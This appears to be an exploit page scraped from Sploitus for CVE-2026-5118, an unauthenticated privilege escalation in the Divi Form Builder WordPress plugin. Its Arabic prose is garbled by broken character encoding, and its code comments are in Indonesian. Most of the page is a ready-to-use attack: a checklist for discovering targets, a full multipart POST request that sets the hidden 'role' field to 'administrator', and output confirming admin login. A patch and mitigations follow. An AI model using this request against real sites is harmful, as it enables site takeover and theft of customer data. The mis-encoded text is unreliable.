## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZYCODER0DAY-CVE-2026-5118
# ๐ฅ CVE-2026-5118
### Divi Form Builder <= 5.1.2 โ ุชุตุนูุฏ ุงูุงู
ุชูุงุฒุงุช ุจุฏูู ู
ุตุงุฏูุฉ
   
* * *
## ๐ฏ ู
ูุฎุต
ุชุญุชูู ุฅุถุงูุฉ WordPress **Divi Form Builder** (ุงูุฅุตุฏุงุฑ **5.1.2 ูุงูุฅุตุฏุงุฑุงุช ุงูุฃูุฏู
**) ุนูู ุซุบุฑุฉ **ุญุฑุฌุฉ (Critical)** ุชุชูุญ **ูู
ูุงุฌู
ุจุฏูู ู
ุตุงุฏูุฉ** ุฅูุดุงุก ุญุณุงุจ **Administrator** ู
ุจุงุดุฑุฉ ุนุจุฑ ูู
ูุฐุฌ ุงูุชุณุฌูู.
> ุญูู ู
ุฎูู ูุงุญุฏ. ููู
ุฉ ูุงุญุฏุฉ ูุชู
ุชุบููุฑูุง. ูุตูู ูุงู
ู ุฅูู ุงูู
ููุน ุจุฃูู
ูู.
* * *
## ๐งจ ู
ุงุฐุง ูู
ูู ููู
ูุงุฌู
ุฃู ููุนูุ
ุงููุฏุฑุฉ| ุงูุฃุซุฑ
---|---
๐ ุฅูุดุงุก ุญุณุงุจ ู
ุณุคูู ุจุฏูู ุชุณุฌูู ุงูุฏุฎูู| **ุงูุงุณุชููุงุก ุงููุงู
ู ุนูู ุงูู
ููุน**
๐ฆ ุงููุตูู ุฅูู ุจูุงูุงุช ุนู
ูุงุก WooCommerce| **ุฎุฑู ุงูุจูุงูุงุช**
๐ ุชุนุฏูู ู
ููุงุช ุงูุฅุถุงูุฉ/ุงููุงูุจ (PHP)| **ุชูููุฐ ููุฏ ุนู ุจูุนุฏ**
๐ณ๏ธ ุฅูุดุงุก ุจุงุจ ุฎููู ู
ุฎูู| **ูุตูู ุฏุงุฆู
**
๐ฅ ุนุฑุถ ุฌู
ูุน ุจูุงูุงุช ุงูู
ุณุชุฎุฏู
ูู| **ุงูุชูุงู ุงูุฎุตูุตูุฉ**
* * *
## ๐ฌ ุชุญููู ุงูุซุบุฑุฉ
### ู
ููุน ุงูุซุบุฑุฉ
root@kitploit:~
includes/shared/handlers/FormSubmissionHandler.php โ create_user()
### ุงูููุฏ ุงูุถุนูู
root@kitploit:~
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role); // โ "administrator" langsung diterapkan
### ูู
ุงุฐุง ููุฌุญ ูุฐุงุ
root@kitploit:~
ALUR VALIDASI YANG BERMASALAH
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Penyerang kirim: role=administrator โ
โ โ โ
โ sanitize_text_field() โ "administrator" (bersih) โ
โ โ โ
โ isset($roles_obj->roles["administrator"]) โ TRUE โ โ BUG! Hanya cek ADA/TIDAK
โ โ โ
โ $user->set_role("administrator") โ ADMIN PENUH! โ โ PRIVESC!
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"administrator" ADALAH role yang valid di WordPress,
jadi validasi isset() SELALU return true.
Fungsi ini TIDAK PERNAH menolak role berbahaya.
### ูุงูู ุงููุฌูู
ูุญุชูู ูู
ูุฐุฌ ุชุณุฌูู DFB ุนูู ุญูู ุฅุฏุฎุงู ู
ุฎูู (hidden input):
root@kitploit:~
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">
<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">
* * *
## ๐ ๏ธ ุฅุซุจุงุช ุงูู
ูููู
โ ุณูุณูุฉ ุงููุฌูู
### ุงูู
ุฑุญูุฉ 1: ุงูููุฏุณุฉ โ ุงูุชุดุงู ุงููุฏู
root@kitploit:~
[โ
] Target Discovery: Divi Form Builder indicator
โโโ Endpoint scan: 50+ path registrasi
โโโ Homepage link crawl: keyword priority
โโโ REST API: /wp-json/wp/v2/pages?search=register
โโโ Sitemap parsing: XML sitemap URLs
โโโ DFB REST API: /wp-json/divi-form-builder/v1
โโโ AJAX probe: de_fb_ajax_submit_ajax_handler
โโโ WooCommerce: /my-account/ sub-pages
โโโ robots.txt: custom sitemaps + disallow
โโโ Contact pages: DFB forms tersembunyi
โโโ wp-json deep: content-first scan
[โ] Ditemukan: <input class="df_hidden_user_role" value="customer">
[โ] Versi plugin: v4.1.9 (VULNERABLE)
[โ] Form multi-step dengan reCAPTCHA v3
### ุงูู
ุฑุญูุฉ 2: ุงุณุชุฎุฑุงุฌ ู
ุนุงู
ูุงุช ุงููู
ูุฐุฌ
root@kitploit:~
Parameter yang diperlukan:
โโโ fb_nonce: [dari hidden input / de_fb_obj]
โโโ form_key: [dari hidden input]
โโโ form_type: register
โโโ divi-form-submit: yes
โโโ role: [INJEKSI: administrator]
Field pemetaan:
โโโ de_fb_user_login + user_login (kedua varian wajib)
โโโ de_fb_user_email + user_email
โโโ de_fb_user_pass + user_pass
โโโ de_fb_pass_repeat
### ุงูู
ุฑุญูุฉ 3: ุญูู ุงูุฏูุฑ โ ุชุตุนูุฏ ุงูุงู
ุชูุงุฒุงุช
root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
some-email@example.com
------POC
Content-Disposition: form-data; name="user_email"
some-email@example.com
------POC--
### ุงูู
ุฑุญูุฉ 4: ุงูุชุญูู โ ูุตูู ุงูู
ุณุคูู
root@kitploit:~
[โ] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[โ] HTTP 302 โ /wp-admin/
[โ] FULL ADMINISTRATOR ACCESS CONFIRMED
โโโ Dashboard: /wp-admin/
โโโ Users: Can create/delete any user
โโโ Plugins: Can install/activate/edit PHP
โโโ Themes: Can edit template files โ RCE
โโโ Settings: Full site control
* * *
## ๐งช ุงูุชุญูู ุงูู
ุฎุจุฑู
ุชู
ุฅุฌุฑุงุก ุงูุงุฎุชุจุงุฑ ูู **ุจูุฆุฉ Docker ู
ุนุฒููุฉ** (WordPress 6.5 + DFB v5.0.0):
root@kitploit:~
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ LAB VERIFICATION RESULTS โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฃ
โ Method: AJAX (admin-ajax.php) โ
โ Role injected: administrator โ
โ Response: "Registration successful!" โ
โ Login: HTTP 302 โ /wp-admin/ โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ Method: Form POST (direct submission) โ
โ Role injected: administrator โ
โ Response: "Registration successful!" โ
โ Login: HTTP 302 โ /wp-admin/ โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ Status: โ
PWNED โ Full Admin Access โ
โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
## ๐ง ุงูุฅุตูุงุญ ุงูู
ูุตู ุจู
### ุงูุญู: ูุงุฆู
ุฉ ุงูุณู
ุงุญ ูุฃุฏูุงุฑ ุงูุชุณุฌูู
root@kitploit:~
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // โ Hanya cek ADA, bukan AMAN
}
// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // โ Tolak semua role berbahaya
}
### ุฎุทูุงุช ุฅุถุงููุฉ
1. **ุฅุฒุงูุฉ ู
ุนุงู
ู`role` ู
ู ูู
ูุฐุฌ ุงููุงุฌูุฉ ุงูุฃู
ุงู
ูุฉ** โ ุงุณุชุฎุฏุงู
`default_user_role` ุงูู
ูุฌูุฏ ู
ุณุจููุง
2. **ุฅุถุงูุฉ ุชุญูู ุตุงุฑู
ู
ู nonce** ูู ู
ุนุงูุฌ AJAX
3. **ุฅุถุงูุฉ ูุญุต ุงูุตูุงุญูุงุช** `current_user_can('create_users')` ููุฃุฏูุงุฑ ุงูุฎุงุตุฉ
4. **ุชุญุฏูุฏ ู
ุนุฏู ุงูุทูุจุงุช (Rate limiting)** ุนูู ููุทุฉ ููุงูุฉ ุงูุชุณุฌูู ูู
ูุน ูุฌู
ุงุช ุงูููุฉ ุงูุบุงุดู
ุฉ (brute-force)
* * *
## ๐ ุงูุฌุฏูู ุงูุฒู
ูู
ุงูุชุงุฑูุฎ| ุงูุญุฏุซ
---|---
2026-04-13| ุชู
ุฅุตุฏุงุฑ ุงูุฅุตุฏุงุฑ 5.1.3 (ุฅุตูุงุญ ู
ุญุชู
ู ุจูุงุกู ุนูู ุณุฌู ุงูุชุบููุฑุงุช)
2026-05-21| ุชู
ุงูุชุญูู ู
ู ุงูุซุบุฑุฉ ุจุดูู ู
ุณุชูู ูู ู
ุฎุชุจุฑ ู
ุนุฒูู
2026-05-21| ุชู
ุฅุฑุณุงู ุงููุดู ุงูู
ุณุคูู ุฅูู Divi Engine Security
* * *
## ๐ก๏ธ ุชุฎููู ู
ุคูุช (ูุจู ุงูุชุตุญูุญ)
1. **ุงูุชุญุฏูุซ ุฅูู ุงูุฅุตุฏุงุฑ 5.1.3+** ุฅุฐุง ูุงู ู
ุชุงุญูุง
2. **ุชุนุทูู ูู
ูุฐุฌ ุชุณุฌูู DFB** ุญุชู ูุชู
ุชุทุจูู ุงูุฅุตูุงุญ
3. **ุงุณุชุฎุฏุงู
ูุงุนุฏุฉ WAF** ูุญุธุฑ ู
ุนุงู
ู `role=administrator` ูู ุทูุจุงุช POST
4. **ู
ุฑุงูุจุฉ** ุฌุฏูู `wp_users` ุจุญุซูุง ุนู ุญุณุงุจุงุช ู
ุณุคูู ุฌุฏูุฏุฉ ุบูุฑ ู
ุนุฑููุฉ
5. **ุชูููุฏ ุงููุตูู** ุฅูู `/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler`
* * *
## โ๏ธ ุฅุฎูุงุก ุงูู
ุณุคูููุฉ
ุฃููุดุฆ ูุฐุง ุงูู
ุณุชูุฏ ูุฃุบุฑุงุถ **ุงูุชุนููู
ูุงููุดู ุงูู
ุณุคูู (responsible disclosure)**. ุชู
ุชูููุฐ ุฌู
ูุน ุงุฎุชุจุงุฑุงุช ุงูุงุณุชุบูุงู ูู **ุจูุฆุฉ ู
ุฎุชุจุฑูุฉ ู
ุนุฒููุฉ**. ุฃู
ุง ุนูู ุงูุฃูุฏุงู ุงูุญูุฉุ ููุฏ ุชู
ููุท **ุงููุดู ุงูุณูุจู** (ุชุญุฏูุฏ ุงููู
ูุฐุฌ ูุงูู
ุนุงู
ูุงุชุ ุฏูู ุฅุฑุณุงู ุฃู ุจูุงูุงุช ุงุณุชุบูุงู).
**ุงูู
ุคูู ุบูุฑ ู
ุณุคูู** ุนู ุฅุณุงุกุฉ ุงุณุชุฎุฏุงู
ุงูู
ุนููู
ุงุช ุงููุงุฑุฏุฉ ูู ูุฐุง ุงูู
ุณุชูุฏ.
* * *
**CVE-2026-5118** โข Divi Form Builder โค 5.1.2 โข ุชุตุนูุฏ ุงูุงู
ุชูุงุฒุงุช ุจุฏูู ู
ุตุงุฏูุฉ
ุชู
ุงูุงูุชุดุงู ูุงูุชุญูู: 2026-05-21